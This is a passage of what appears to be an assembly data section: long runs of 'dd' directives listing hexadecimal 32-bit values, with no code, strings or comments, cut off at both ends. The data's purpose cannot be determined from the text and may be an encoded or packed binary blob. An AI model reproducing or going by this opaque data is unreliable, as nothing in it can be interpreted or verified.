23E93E58h, 0B100973Bh dd 0A59F2C5Dh, 37099ED0h, 0D88DE6F2h, 0B5F01688h, 0CCC2165h dd 0CC202AB7h, 1B45F73h, 15537BA3h, 207823D4h, 84FB20h dd 82B44BE7h, 0FDCAD8DCh, 0E0A0514Ah, 9DE484C7h, 0DAA04600h dd 0ED7BF408h, 5FFD12D4h, 0DC5020C9h, 0FF0F7A8Dh, 0A32744AEh dd 98E7B19Eh, 25EB8C81h, 28606077h, 0CA1266B5h, 3F0B1B4Dh dd 0CBCC86CFh, 0F07C4811h, 8C8EC180h, 0DD257BA0h, 310EC45h dd 1B8F9BA8h, 5BA0BF6Dh, 6C71C824h, 6A36800Bh, 0CF0490B6h dd 9CA17DE0h, 48B040F0h, 42009A72h, 0DFC004CEh, 12F653F2h dd 1A13D19h, 0AA22BEACh, 7011CC54h, 4EA5BA27h, 6F9C07B4h dd 40A0EA4Fh, 7CD779F7h, 0E64B5F00h, 0D0423CCDh, 14409D76h dd 21480630h, 7B470029h, 0E8AEED68h, 0A65CB08Ch, 586925C8h dd 6D9134F9h, 0C39DC581h, 84952BEEh, 660BC0E3h, 0CCE11DA2h dd 0D4504267h, 6A74DCE0h, 1061E09h, 728C1837h, 80E01D43h dd 0F895027Dh, 244C0EE3h, 2D406CB4h, 2EA41F5h, 0EE2F2A79h dd 3406F23h, 72FAE027h, 620D64Dh, 9DF3123Eh, 0A03350C1h dd 70112A5h, 7498087Eh, 92A1F08Bh, 98105DA8h, 16004C5Ah dd 0DFF8AE67h, 3CEEB35Bh, 288073D8h, 0B1E8E79Bh, 420F59ACh dd 43C24Eh, 0AE61C452h, 7F8C092Dh, 0BCC4A465h, 2F00C9E8h dd 0B73E4F0Fh, 701CD7E4h, 6E607A0h, 47FE361Eh, 0DFFAD0A1h dd 0A85E443Eh, 96C7D091h, 0CE2B2450h, 0B5F500E1h, 97055679h dd 8C02888h, 2FE639CCh, 9CE90216h, 6B41D0B1h, 0A62964E0h dd 0A43FF812h, 0D5275430h, 86653A73h, 48E7F385h, 200AC409h dd 8E3F4EE0h, 0E4086B69h, 0D6900478h, 8005B1E5h, 89A9AE42h dd 741A3F00h, 61413A9Ah, 2AC7009Eh, 117C83B4h, 0CF2D7F6Bh dd 6CC696h, 0DB7501D0h, 0BF93FAACh, 2AABD800h, 7A840231h dd 49E634E4h, 74B89106h, 0D4203B1Bh, 4FAC4Ch, 0B5B28A8Dh dd 20580C01h, 300A1E4h, 0F41BFBB1h, 48181272h, 6E9F006Dh dd 6CF1A550h, 618F0581h, 603060BEh, 3E1C1EC4h, 7C8F394Dh dd 0C45CA379h, 0F0E94437h, 5D13B270h, 3C03F664h, 0A8608CFBh dd 305F3446h, 668C486Ch, 402EEE7h, 8E2EAE43h, 0E04504Fh dd 0B6C4CDFFh, 50C4BE4Bh, 292EDD00h, 0B10EC00Ah, 0DF1D1C52h dd 0D33EC7F5h, 116110DAh, 1C2D2846h, 0B394E917h, 0C7B80B2Eh dd 4CBC3CF8h, 45E82F40h, 0D4400050h, 531492FBh, 10952D77h dd 2625418h, 33C0E51h, 80D88E96h, 73B7F01Bh, 1D700049h dd 3172AEF4h, 0E100776Ch, 0B741B49Eh, 882BA8F1h, 149FB570h dd 6FE0F0h, 529C91DBh, 1E2378E7h, 6803DD2Fh, 26B83524h dd 43D0FAA2h, 0BDC47060h, 6DA11694h, 0E546D430h, 0C6B331B7h dd 487E67D0h, 0D7183AE0h, 0C711A471h, 611360C9h, 5CB1F0C3h dd 0FD7E5170h, 740073ECh, 0AD8D1DE8h, 5C1FD5A5h, 710ACCB8h dd 23C0DB9h, 0C964F813h, 568038D4h, 33A28016h, 1725004Ah dd 5FB4A630h, 0D900D36Dh, 1299FF9h, 374AF4Bh, 25D599ECh dd 2EA0520Ch, 400F709h, 0B4974DD8h, 696E91h, 0BEE72C6Ch dd 0ED2A485Ch, 921FCCEEh dd 0E6C1B05Dh, 0BC71D407h, 79C5A82Ch, 0FFDC3320h, 3E970290h dd 882E8576h, 0CBC05CD5h, 0E1502Eh, 86570CF4h, 3DF0DF14h dd 0FDC1B400h, 0C7E58D3Bh, 75BE2966h, 6F400F4h, 1B7CABEDh dd 4B6CA539h, 824BB420h, 0DEF03F24h, 31D47D02h, 6CF4DA3Dh dd 720CDC49h, 0B837D8E0h, 89CCF982h, 0AC74793Ah, 0CFA58B40h dd 0AD000ECh, 0AA7D0C5Fh, 0B425FF76h, 0B9D060C0h, 62998837h dd 30D49884h, 2F117A3Dh, 5F00F430h, 49260D0Eh, 27A117C5h dd 88E076FDh, 2284B60Ch, 0FAFA166Dh, 52789212h, 0ED9E08F0h dd 7E477011h, 6A815031h, 8FB5D0h, 4A9458DFh, 8CD439A0h dd 2076E825h, 0EA9635E8h, 0B6B7769h, 718DA4FEh, 0C50A0479h dd 76807CD4h, 8A4A488Eh, 5E2205FEh, 0C0C75273h, 1FF3A4EDh dd 6D60EC9Ch, 1B1D25Ah, 398E557Dh, 0F0A4D6E1h, 0F97347A7h dd 86B539h, 4677ECF3h, 5C196D4h, 0AF343BF6h, 7FB4C2D3h dd 2EC8B21h, 98FD5840h, 0C09248A2h, 30DC6985h, 4B279EFCh dd 9DD20B01h, 818DB3C6h, 21DA9E9Ah, 6B601C56h, 593B076h dd 131E79CEh, 11C4B3FAh, 4C1E0851h, 78EB021Bh, 0F070E960h dd 67DAB500h, 9733BEFBh, 471E5C08h, 83C5450Eh, 5F89C02Bh dd 0B4023450h, 0B6F1ADBBh, 68FF2375h, 359894BCh, 0CA4098B4h dd 7A254918h, 251B6481h, 0FC7990F0h, 8D700847h, 6B72EBh dd 940CB245h, 0B6972DBDh, 0D453DC13h, 0EE648C0Bh, 527600C0h dd 0AAEF7BC6h, 252E4008h, 0DB00D68Dh, 0C7E7292Ch, 6C309D41h dd 0AD073D13h, 50ECF119h, 8238D0F9h, 550C4028h, 0A2182602h dd 0C479254Ch, 0C6C26385h, 68106CF9h, 0E6E79F1Ch, 0E26315D4h dd 0D95A80C6h, 8D2BE844h, 0BB0459Fh, 18647AFEh, 0F091F041h dd 101F276Ch, 0B0409A80h, 0ECEB03D2h, 505C7001h, 0C0CCD1B1h dd 4389D25h, 0AD6484DEh, 9BC2FDD5h, 90C4D0CEh, 95C74A30h dd 88B8ECD4h, 64D949B7h, 0C30D2B00h, 2C1A4DA6h, 1C1C1BAEh dd 0DF150011h, 30B8A93Bh, 983A1F00h, 83C1DB97h, 345A018Ch dd 2F623946h, 0B9B5E872h, 169CD801h, 83C3C649h, 5BE5FE0h dd 2C295D32h, 0A3A3C088h, 129DF313h, 0F90061F8h, 46F8403Eh dd 85DECC26h, 0AD9E8A38h, 4A4494D8h, 7E54D0ACh, 44959906h dd 4547E08h, 0A095451Bh, 0DC53EF73h, 28BF6C04h, 0DD220CFCh dd 30645C00h, 74C9ACABh, 0ED321EFFh, 1CB840FCh, 0F02794FDh dd 0C6297C04h, 60D05CEBh, 0B967241Fh, 90642520h, 80979E07h dd 2410092Ch, 928864h, 0F49AFFD1h, 6901D32Dh, 26DD400h dd 0DBADF6Fh, 0A3AA006Bh, 0ED63BFE6h, 0D4C09E06h, 2A5CF823h dd 536F3E90h, 601F2E00h, 93DAF3C1h, 38A56607h, 1B403CB5h dd 0F8F7C3h, 987DBD50h, 175558F4h, 0CFC8690Ch, 7FCA681Fh dd 0D46B0511h, 80D84998h, 85F53091h, 0EE167906h, 1D911A45h dd 37E6E01Eh, 8C49C738h, 27079019h, 33D216ADh, 6E5841C1h dd 60C83700h, 313FD3Eh, 0A494CF8Dh, 724014E0h, 6D184068h dd 0E58A49E7h, 0A61DFB0Eh, 6704E0F0h, 84683Fh, 0C96BB198h dd 0C124E0F3h, 9FCF39C2h, 48060F7Ch, 0C0099F0h, 6C2024BFh dd 1D9F04D7h, 81FBE065h, 0AD720D75h, 783C40C9h, 4673C7D8h dd 26603802h, 608F3650h, 18A5CC81h, 991439B5h, 6A295110h dd 6D8C40A9h, 542113h, 5E261EF0h, 0EE4465F5h, 6DE57D08h dd 7DD800Fh, 47AC5F7Ah, 74FC9507h, 3AD07B5Eh, 1B2F2B9h dd 3345CE4Ah, 0DBC84CEBh, 0DAE26100h, 6D906292h, 14001A2h dd 6C07F05Ah, 81598015h, 0D85D87FBh, 0CBC90DCh, 0C6DA48BFh dd 0C760C840h, 0BA5D6849h, 82EF0305h, 0CA014710h, 124D1800h dd 8671BD0Bh, 0A0E5503Bh, 0A6E403E8h, 0B5D758C9h, 0CFAFCE98h dd 1F719D60h, 12E4038h, 0B618C9BEh, 0F2F4573Dh, 0D9E2AF03h dd 40F433CAh, 0C46A00F2h, 8877310Bh, 20F62C8h, 0C95BB8D3h dd 630002BEh, 100F1141h, 5625CCh, 0FA44A4ACh, 0E954151Bh dd 3D2B2D00h, 23869130h, 93CF008Ch, 2E7FDFA5h, 0F1DE6471h dd 5467283Eh, 0AC069BEAh, 0C535EB1Eh, 1D119020h, 2A6172EFh dd 9ADA09ECh, 45801BADh, 0EBE5FD58h, 44EE1817h, 7FDE6900h dd 286A7128h, 18181FD6h, 11CCC9AAh, 0F3009B7Eh, 247BAF1Ch dd 9DA18E5Fh, 0C0E4A483h, 0ED1D05F0h, 5318E849h, 0CD7700B8h dd 1BED1A2h, 95410062h, 342BB544h, 30A8BA1Dh, 0B3003665h dd 0D622A119h, 7BFA9306h, 77A33C6Bh, 95CFB98Fh, 662EA8F8h dd 1D1F9B06h, 28108DEBh, 724C861h, 0FF99935Bh, 63F2D04Eh dd 88003281h, 23B8ECFBh, 2991CF40h, 289CE49Ch, 0C4E97166h dd 5443EE49h, 69710AE8h, 9242B8CDh, 40CE2E6Dh, 106B80C6h dd 0F2F144A1h, 70A44600h, 0A63100C8h, 0F56EE366h, 37005E03h dd 0FEAC9FD5h, 0A46098CFh, 15400CDCh, 17D96177h, 231C2905h dd 0FC04D127h, 0F892E3C0h, 803E27F2h, 0B2FFADF7h, 0EE29CD28h dd 0DCEF8F00h, 9C9F5421h, 20BE5C08h, 6D18AC52h, 81C6D118h dd 85AE200h, 1488BB7h, 171FC0Ah, 0E5FA241Bh, 81E1A4C4h dd 0CB608869h, 1180E848h, 0C43F2266h, 0F0973795h, 2D33307Dh dd 0BBB8F8B9h, 0A1B5DA07h, 0A541E142h, 8C412764h, 0AC477CBDh dd 26233A61h, 36FC20h, 2741407Ah, 116E6371h, 0B98B0A8h dd 0C0C83084h, 9C5D7C1h, 0AFC38100h, 2C73C2BFh, 99ED6156h dd 0D4A798C4h, 0F00694Bh, 1EDCF7C6h, 0E1C6345h, 7415F4BFh dd 22505C13h, 5D93ECA0h, 46606700h, 58B4E0F2h, 0F3CB0FF7h dd 0B1208D4Ch, 0E8126963h, 0C8A6F40Fh, 9271B848h, 165B07FFh dd 0F08D24BEh, 30A382CDh, 360090EEh, 4B57BBE8h, 0B1603Ch dd 0B8107F3h, 0A69CF6F1h, 0E4AB9018h, 1766049h, 9BB20D16h dd 80E557BFh, 86EC8019h, 0E731D9h, 12C76977h, 4DA95E6Dh dd 0B0C0EA01h, 1004650Bh, 587930h, 1E4B2ABAh, 0E91D1C27h dd 0D401E0A4h, 0BF64A32Ch, 5C2296CFh, 22F63A3Fh, 0FA006F01h dd 19744668h, 8E77C4h, 352B7167h, 7EB67F13h, 0E55EE000h dd 0E4D1F6BFh, 985F0390h, 0EE48B0CEh, 0C0C16900h, 0ADD42527h dd 0C83B1294h, 0A5CD0002h, 29A090D5h, 75E5A700h, 6A928460h dd 0F8C51E57h, 916C0C58h, 48509011h, 0E248DB14h, 73F880C0h dd 161A4383h, 2081600Bh, 0CFEF2B40h, 0EC18D200h, 0C23D455Eh dd 0C6C30241h, 55442E08h, 27E00881h, 0DA2980DDh, 831E72C1h dd 6AC900D7h, 0CCEEB086h, 237B98C6h, 0C1CD1401h, 57726BDBh dd 54003022h, 680B8EC7h, 0B100484Ah, 2BF9508Ch, 650A78h dd 0E66E1F5Ah, 9E3327EFh, 3AA1AA0Fh, 30B1A425h, 0F0109088h dd 0C9B30067h, 8349D4C6h, 0C80CF150h, 69E74815h, 0F5160073h dd 84BEE10Dh, 0B82465F6h, 7E005CF2h, 41EFAF94h, 84CB9ECh dd 0F0A0EBEEh, 0EF2E6E73h, 0B0405038h, 608465A9h, 37074004h dd 260031D6h, 7FDCBB88h, 0C0906F64h, 0E5BF5880h, 5A0BEC9Ch dd 8F690338h, 0EA849080h, 7FD740E1h, 2C475B4Fh, 81A8DC6Ah dd 42EE0B02h, 38319705h, 0A0C5020h, 18770F0Eh, 15C07AB3h dd 7F989A31h, 6F9B4A0Eh, 0CE5078CDh, 363739EEh, 0BF0FB3CCh dd 944520ECh, 679CC872h, 4C40C942h, 0F37EACh, 0B5BE89C1h dd 88849343h, 45CFD0C1h, 0C7FDB83Fh, 7E008032h, 394F5181h dd 0EB049FA9h, 0DDC5C8ECh, 3E3010C6h, 60142943h, 0A888B4E4h dd 21ECF442h, 411440EEh, 13E0E90Ch, 7B5FE025h, 0DBC41DF1h dd 3C51BA72h, 0C0EA8020h, 54AECF29h, 0AA1E946Ch, 5CC0C162h dd 0E241B099h, 39021D38h dd 0A073159Ch, 0C68CE000h, 0F51FC60h, 0B3E87D00h, 0DF42C86Ah dd 101F3031h, 0FAED1E70h, 2445094h, 49713846h, 0ED10C500h dd 0BC3DA474h, 213F004Ah, 3698397Fh, 0FCA69B47h, 0B4F0D454h dd 0EF334D0Bh, 45FC9025h, 516A603Bh, 0CBA68CEAh, 0A0818C9Ah dd 0C92EEFB1h, 0BCA195E5h, 9A2B003Ch, 0E415FF8Dh, 23B00BE7h dd 140354D4h, 81CC22F6h, 0F6DEA6FCh, 847EFC91h, 5BC85C69h dd 90CF6891h, 0AD724043h, 9862B027h, 4CF052ECh, 460150BFh dd 0A21EA65Dh, 5392E026h, 6FCE35Dh, 74E8E2D4h, 1B981B48h dd 7BA88883h, 22006309h, 0E7934940h, 2E15D078h, 40286572h dd 45C7C0DAh, 40256E2h, 6137E408h, 0E08C602Fh, 909200C3h dd 813C8B54h, 0DA06ABC9h, 7A1672B0h, 0D26E3108h, 2899CF49h dd 24DBA0E0h, 0F85907FCh, 0C0B9E63Dh, 6E25D35Ch, 38E87600h dd 0EC1E7AEAh, 0C831C993h, 494C8810h, 62A4B200h, 4ED8658Fh dd 632000A9h, 60C9BFE7h, 44132F94h, 1C226D41h, 0FDB09038h dd 2E390D3h, 80DA127Ah, 6C42248Eh, 0E060AC0h, 0A6A4E809h dd 0BEF4980Bh, 152300E5h, 861D94EDh, 9809D944h, 19ACADC5h dd 2E20C85Ch, 0D7B90008h, 9F63FC83h, 5564EE54h, 72401B88h dd 0BF607033h, 0C567ED03h, 0C1E04792h, 0D071AD56h, 51856EE9h dd 0D8E43FF6h, 7E00F9B0h, 0EFC16316h, 14614Ah, 13D74998h dd 0C845D3Dh, 0E79B4202h, 4615DC70h, 0E875C0h, 0ABBEC55Dh dd 7939311Dh, 595E8712h, 603804C8h, 3E58797Ah, 290E749Eh dd 804DF833h, 3B085126h, 305E01D3h, 6FE24B1h, 0DC6248h dd 842C8738h, 12670B52h, 45B3B5h, 77A40E3Ch, 0A900B7C0h dd 1F170F7Eh, 0E76372C9h, 69220C23h, 0C56168F8h, 23860B19h dd 7B65C014h, 0E0B06E12h, 671D44h, 8C4D585Eh, 0EA20BC03h dd 6A95E41Ch, 985B018Bh, 7D219DFCh, 5E0A01AFh, 1A53F490h dd 0FC707462h, 0F66AA608h, 226000E0h, 0EEC60142h, 41173B34h dd 2CAD8C31h, 716DDCh, 9E97C654h, 54FFE07h, 390B3F7Ch dd 8373FDD2h, 0DDF075A6h, 54A34084h, 33B25C04h, 0BB6AC013h dd 0DC004E90h, 0AF022E10h, 586E2232h, 0AE0B984Fh, 0E85C5B8h dd 0A36447BFh, 71E130C3h, 32003AF9h, 7F4149FAh, 4E6A73AFh dd 715860D1h, 190CFB67h, 4869019Ah, 0D502881Ah, 0A00049F8h dd 4A2ED775h, 0F4BC9C3h, 0A69362BFh, 2E7E8151h, 9AF083DAh dd 3BE86Bh, 17D76A52h, 2BECC36Dh, 5860FA3Ch, 8DB7013Ah dd 8C9E1B19h, 45809838h, 36A84766h, 3C642508h, 91CF04F1h dd 0E9E8E40Ah, 456088h, 0BD9B691Ah, 0B278B6B3h, 0F5DC9416h dd 62727007h, 0BF16704Ah, 8C9CE5C4h, 0CFB0017Eh, 80D27318h dd 581080AEh, 92F3C126h, 0B046708Ah, 0AFA60730h, 0EEE37A3Fh dd 68088361h, 0EF69E8B5h, 0A600B3E0h, 0A920C513h, 74DE6AF3h dd 1B39C2C6h, 1861FF75h, 803828ECh, 0E30BD387h, 181AFC33h dd 10CA77A5h, 0E400760Ah, 60C5589Dh, 7E7A6A3h, 0F21ED6C7h dd 0F3F1936Bh, 0C25BA0A0h, 43BF5104h, 78B45657h, 457F1D85h dd 0EEF0F33h, 36A7E260h, 0EC07CEB6h, 89145395h, 4DEEC061h dd 38268C22h, 0D1F80F4h, 3D4C3477h, 0E59AE700h, 0CE1457E4h dd 0A5FC09D7h, 0CC00D221h, 9AC40C64h, 8F1CBBF4h, 709DB81Ch dd 694F7D40h, 7CE8D787h, 0A0074CD0h, 5F5CFE80h, 0BC00E711h dd 0AB3E32ACh, 35E16DDh, 0F36B21DCh, 0B5026Dh, 90BFDAF4h dd 6A16E4F5h, 8C0180D3h, 765DECFh, 72380862h, 0D1D88580h dd 0D2C43C8Eh, 4622E00h, 7AD62F16h, 0DADC0CBFh, 0F2317738h dd 14464100h, 696D3DCBh, 23EF4E84h, 1AD92B5Ch, 394510C5h dd 888072Dh, 85D260B5h, 0F5080151h, 220713E3h, 0F8726F0h dd 9050943Eh, 220300F8h, 951733A8h, 0E4A35086h, 23080701h dd 9993CFC8h, 14640029h, 11C1AD01h, 0A6F3C95Ch, 0B440EFECh dd 38F444A8h, 0EF570AEBh, 17605C46h, 58CC02CEh, 64806971h dd 0EE72EBE5h, 49104658h, 117EC74Ch, 4D03F090h, 37A9066h dd 0A572ACFCh, 8C98DA97h, 0BD025F58h, 93CE2C23h, 0CF786866h dd 463A4FEEh, 517238C8h, 842B2901h, 5E08339Fh, 2CC12CD4h dd 2ECCD9Ch, 0CA23BF6Ah, 5F278084h, 0A9D0670Ch, 0C2C52DDAh dd 96AD6C10h, 5F211012h, 33235800h, 91A41F4h, 2267B0E4h dd 4023058Eh, 0B0AC3610h, 518A7ED8h, 37CB0044h, 8689BC46h dd 0ACFA7000h, 917A30D9h, 0A7B40112h, 3FBF14E3h, 5043217h dd 193C2FC5h, 5180A027h, 5810FAF4h, 25C08CD6h, 97E61374h dd 0CAE5C007h, 9C53E47Fh, 0C843E087h, 53370FB2h, 0C09FDC76h dd 0FFA9D5EFh, 7148B956h, 5ED7C388h, 4563A9A3h, 3CCB8DECh dd 758059C0h, 0EF1AC1A0h, 1D093ADBh, 0E07E62ECh, 0E966CF08h dd 6480D428h, 85E98BCCh, 0A317CA01h, 823DFE06h, 0B898C704h dd 2A749C42h, 30E26F3Ch, 254090F1h, 0B5595175h, 0F8F502C0h dd 60BA22B0h, 38AA09D8h, 0D78AE069h, 0F8B815h, 92293545h dd 27FAA611h, 0DAC1FD0Ch, 81842h, 0A0FCCCA2h, 0AA90C6CFh dd 699C43Bh, 0CE738824h, 5BC89E98h, 44E47D8h, 0E24D10C1h dd 506D1D0Bh, 0C022C507h, 4C89B7DBh, 7B0D9830h, 41103083h dd 0D0FC5DD1h, 0C85812C9h, 0DA944054h, 47B74190h, 12006A70h dd 5562B0CFh, 0B1039AC5h, 0CBC80D4Ch, 0F4E3C569h, 0B9007440h dd 3A234378h, 0D99196h, 0A81D3BA3h, 7262C760h, 63712A1Dh dd 0B518392Dh, 167CAF0h, 20E549DAh, 716036A2h, 0A421AE1Ch dd 3E231304h, 433F3C9Ch, 6D500018h, 5CD61DF8h, 8C3058B1h dd 82AE9080h, 781E38F7h, 56148BE0h, 0B0B92408h, 3BDF0708h dd 0E552121Dh, 7B406CA0h, 0D70028D4h, 0DCC14588h, 1DC546BFh dd 8B20C77Ah, 3C40AE48h, 58A242EEh, 0E5403A80h, 0BE27991Eh dd 3F5810C5h, 4E0B0745h, 0B3328DF1h, 0D9886D69h, 0BC3A3412h dd 3BED0472h, 40C21039h, 16EC70FEh, 0D7C85CBFh, 4B4E1298h dd 2BA8EBC0h, 8119A600h, 47EF5811h, 0DC220EA4h, 0E56356BCh dd 794C2B38h, 19D722E8h, 197F92CFh, 0F03948h, 336CB042h dd 0F014DAh, 0E675D2C6h, 2DC55EEFh, 9C64710Ch, 0EDA902Ch dd 5C21E0B5h, 0CF406360h, 28A17095h, 73C210ECh, 2277000Bh dd 89C60A7Ch, 0C9FE4A33h, 49296530h, 146B199h, 41EA7E3Fh dd 2D0C6BE2h, 0ADA0C09Ch, 2D15F6Dh, 47C0B49Dh, 7848CD42h dd 0D70C0B1Ah, 397283E2h, 37F68803h, 0AC7B1478h, 0E8C2E50Bh dd 484809C3h, 44CBE0F0h, 0A0747C6h, 0EA4DBB0Bh, 194EEE41h dd 1EC9E448h, 0E71E7C6Ah, 0DA40C420h, 4113AE9Ah, 9C305FB5h dd 0FD2D3A0h, 0C86B8D54h, 0C5599AA0h, 29261999h, 6D402407h dd 0D54904h, 0FD2CAF3Ch, 6615DEE1h, 42B0AB00h, 1D23F606h dd 0C8CF18D7h, 3BA2A1C2h, 0D8867907h, 44399BF8h, 282200CCh dd 6268308Fh, 24017F06h, 0EDCB9A60h, 4C381EEEh, 150B0280h dd 5E1FFE75h, 9A80DAB9h, 2A5D4520h, 293A1240h, 0EA3806DEh dd 5758F969h, 0CF3785A0h, 455F2480h, 36F626B4h, 75F93A13h dd 454C98BEh, 701C6089h, 358BD88Bh, 0BD880EF8h, 40BECC11h dd 31DB44FAh, 0C031BB37h, 65EBC89Bh, 0BED8E984h, 7E10C13Ah dd 0BB08171Eh, 68CA000h, 0FF82FDA6h, 1DCF414h, 2C160089h dd 9B3F1813h, 0B450DD5Bh, 7FA030B9h, 0AA79349Ch, 96B21316h dd 2E4CC8h, 0F13248B0h, 0FB4BEA92h, 0CDD65B0Fh, 47D58711h dd 0BEECE070h, 0B798DD31h, 1A2D6091h, 9F5B1F83h, 7FD7B420h dd 4C0B77E3h, 28489045h dd 293DC29Dh, 4880C9F8h, 3B8F64D3h, 0BFA8BC00h, 739AE555h dd 67140483h, 0C8876148h, 0A913925Ch, 0EC0947E4h, 0CC9898BBh dd 650E0038h, 3617325Fh, 0B6F8BD12h, 98C1F32Dh, 1DAD3760h dd 449487D8h, 0E415DC71h, 0AF0E6700h, 0FD3F6C14h, 0FA7DD00h dd 99E4721h, 60CC6AE1h, 0C7166180h, 48B462BFh, 3900E39Ch dd 6BB971A0h, 20CD5B8Fh, 430BC02Ch, 0F63BA6F6h, 0E4BF8005h dd 0E5175D9Ah, 0F5573A0Eh, 30489024h, 0F3C16831h, 3A969B0Eh dd 695FE052h, 17C20FDAh, 22ED1D12h, 905AC81Ch, 2A0D9A03h dd 9B9FCE66h, 1A94A15Fh, 0E459687Ch, 1C574E14h, 0C2418800h dd 0E1C5A848h, 7CF0290Bh, 0AD5CB0B0h, 0BFC62555h, 0A9729444h dd 6FEAB00h, 0F7CD4D9Ah, 0B7670287h, 5A3C7A49h, 0BB6024F8h dd 0CF2F4341h, 0CB40056Ah, 0C1C4F104h, 3C951E20h, 0B051C024h dd 0C71585h, 44803F07h, 0C05B9574h, 16478909h, 4C710Ah dd 7FEAE167h, 510301B4h, 0DD66A4D6h, 50698865h, 0DB760020h dd 0C0C88B26h, 83164340h, 48C08690h, 0B01E7B6Ah, 87E40C9Dh dd 0E88085CBh, 98A69C01h, 0CE72685Ah, 42840868h, 16ADC30Dh dd 0A29811B0h, 0F70126F2h, 690C15BFh, 0FC493FB6h, 0EE779830h dd 0E02D16B2h, 8A81073h, 60DABE00h, 3045469Fh, 7C96922Ch dd 0D8C8F512h, 6C772415h, 0D060813Ch, 426E760Ah, 99E02708h dd 3CB8B8C7h, 9B74AA02h, 405F3E53h, 0D9AC084h, 80ED1E92h dd 50787251h, 827AE6DEh, 0E314B100h, 67720BCAh, 71490BB2h dd 8CC0AC65h, 27959BCFh, 7A505C84h, 90A51B0Ah, 0B0660A6Fh dd 1308093Dh, 239017B6h, 9BA8E3F8h, 3A00AE3Dh, 6BF52BFFh dd 3D9CE94Dh, 0D4873CA1h, 0C2F1C93Bh, 0B86CE5D0h, 80C4195Ch dd 0D8C442ADh, 577C24E4h, 4FF74098h, 0BC01C133h, 0AC85573h dd 0BC2D90CEh, 4234C86Ah, 2463B0DAh, 878E348Ah, 29A5DCh dd 48688887h, 0B20B1287h, 5C48C932h, 39798020h, 0F59B606Ah dd 0ECE952B0h, 4D01B1B8h, 0F25202D0h, 8089D948h, 9000C47Dh dd 5163B610h, 0C501D090h, 0A31CE134h, 37D4DC91h, 47A1009Fh dd 0E311C3C4h, 8677B293h, 1D25E801h, 6DBC511Fh, 97001C22h dd 0CDBD46E9h, 0B0B1D9FCh, 0A5153808h, 0A24DECB0h, 0E4EB0B25h dd 7520015Ch, 818086F8h, 0F74EE074h, 0E1701504h, 0C4CCE57Dh dd 9CCF8091h, 0EC88724Ah, 0ECB488C1h, 3C44C216h, 0E4306003h dd 1338262Eh, 0DA04CBE0h, 160A998h, 9AE726F6h, 707041B6h dd 6C72886Ah, 494C0CBCh, 6D81C61Dh, 3A00B90Eh, 1CE833FCh dd 0F5A57Dh, 0A98AD74Ah, 1177B24Bh, 0F3EE1D14h, 798433Ch dd 0B4CCE6B7h, 45EEE2A1h, 0F680B47Ch, 0E8C6A694h, 555CC77Ch dd 0C127C464h, 8009EA22h, 0CFD1A2F0h, 41AC016Eh, 614B6711h dd 7C2C6380h, 2D03E47Ch, 0CCC683DAh, 0CBA6C0F2h, 41EE25CFh dd 38C110A0h, 192C6D40h, 6C24A442h, 3000E611h, 0FBAF58A3h dd 0CF16287Bh, 0D0024026h, 7B11C4F9h, 60678090h, 0A8103149h dd 160C1E02h, 0E2991777h, 18986CD8h, 0D1D5C858h, 0B400F307h dd 0B9D04784h, 0B3E60Ah, 0D3C21508h, 1EB614D8h, 0F0EE9924h dd 6390D021h, 81589FC5h, 45CA9214h, 9AF80044h, 10C0CF0Ch dd 25AC580h, 0F34ECBEFh, 61E95Fh, 9EE2107Fh, 767733Bh dd 609AD849h, 0C82990F2h, 0E37B2AC4h, 0FC42EF29h, 3975380Ch dd 0A0E07Ah, 572608B6h, 6D7F07ABh, 81259C9Ch, 52ADDE4Ch dd 2344060h, 9C60C9D4h, 0B88472EAh, 1E90D147h, 5046EAEFh dd 849374h, 3EB5E439h, 0EF0128B1h, 9E1DCA00h, 4142A45Dh dd 9D8718C4h, 1C6260B5h, 6C7339C0h, 15067Dh, 0B4477720h dd 3751BD18h, 3AEF9B12h, 0C9CA3821h, 989A63D8h, 0FDC22230h dd 0D60B1A02h, 7438F3DEh, 10AE4784h, 0CEE2DBB2h, 33B6493Ah dd 80CDC12Eh, 361CD0h, 104323EFh, 5AAD59CCh, 32183F01h dd 4584221Eh, 4CF1DCh, 29E0AC4Dh, 0E3F8DCDEh, 0F0725FF8h dd 20019890h, 0B1727460h, 0D432096Bh, 522F7450h, 8500C06Ch dd 0F4B737C8h, 2D004559h, 0A1CF9CFFh, 486C7B74h, 650BA4F2h dd 8C690B18h, 0BF671701h, 50449Bh, 3B487F89h, 531554B6h dd 44C7BB00h, 0F13DFAC9h, 9707E83h, 40C65B75h, 5D76C884h dd 818F5F85h, 0F058B0E3h, 0A711FC02h, 38EC6901h, 0F05CE200h dd 52D0BC2Bh, 0A4D80015h, 0FCED45BDh, 0E100F980h, 0A96917C9h dd 0ED3862C0h, 90103474h, 13DB2074h, 57C6DA16h, 6D5F64D0h dd 387500ABh, 0FD8C0CEDh, 661F70FAh, 4603EFECh, 94CDC76Ah dd 390CCh, 83878825h, 0CE2218B0h, 491B9127h, 0DC10ED08h dd 3401B9DEh, 93E9CAD1h, 41E8DF06h, 42BD04F7h, 0B0F46171h dd 0A0B07DECh, 9F28B897h, 9A840035h, 0D0044402h, 640E5DEAh dd 0C0DDB8A5h, 56DF59DBh, 48A834EBh, 0C80CC8F4h, 1820C34Fh dd 2798AF4h, 80ABEC05h, 0C07AD59Ch, 27A84900h, 6B11BA32h dd 829100D4h, 19CA08DBh, 34B1F31Dh, 7065CF84h, 0BE0468B8h dd 49114DEFh, 0E4FC84B5h, 9CC71CCCh, 96BDE094h, 0A2013869h dd 7CB07AFCh, 0EC201859h, 2065F4F7h, 0E05CC5F9h, 0D45630CFh dd 9DBF0429h, 69E4EC38h, 0C1E87A7Eh, 0E050A550h, 63C98B03h dd 298A6DD7h, 80A4BF99h, 8486D3D4h, 1B1EA87Bh, 6405FA4h dd 0F8E78580h, 137673AAh, 95CCE0B0h, 11489070h, 0BAFAC77Eh dd 0A09FC4E8h, 80606F18h, 6632006Ch, 61B4F8EBh, 11C26B68h dd 59BD4896h, 0F75500C4h, 47F6E87Dh, 35D07400h, 4017F822h dd 8B150930h, 90D9DD46h, 0FF89E300h, 6A96E5h, 0B52911B8h dd 0CF347469h, 0FAB698A0h, 0C1BC4C1Eh, 0F3BB7000h, 35898C0h dd 0E0096D86h, 2080C882h, 2098231Dh, 0FEF01016h, 840D00BAh dd 80E7AA6h, 51442A14h, 0CBE00C08h, 0B712911h, 0D9BDEC99h dd 10D40050h, 10C8D2C4h, 5B82002Dh, 26F993BBh, 6B003A0Eh dd 15C8FC07h, 9846EE60h, 8824971Fh, 3B135FE7h, 2539E0B2h dd 0E279C48h, 6ADA84B8h, 6CE58000h, 0E1C6E2D3h, 5E4C0073h dd 0E91E8B98h, 54B67D36h, 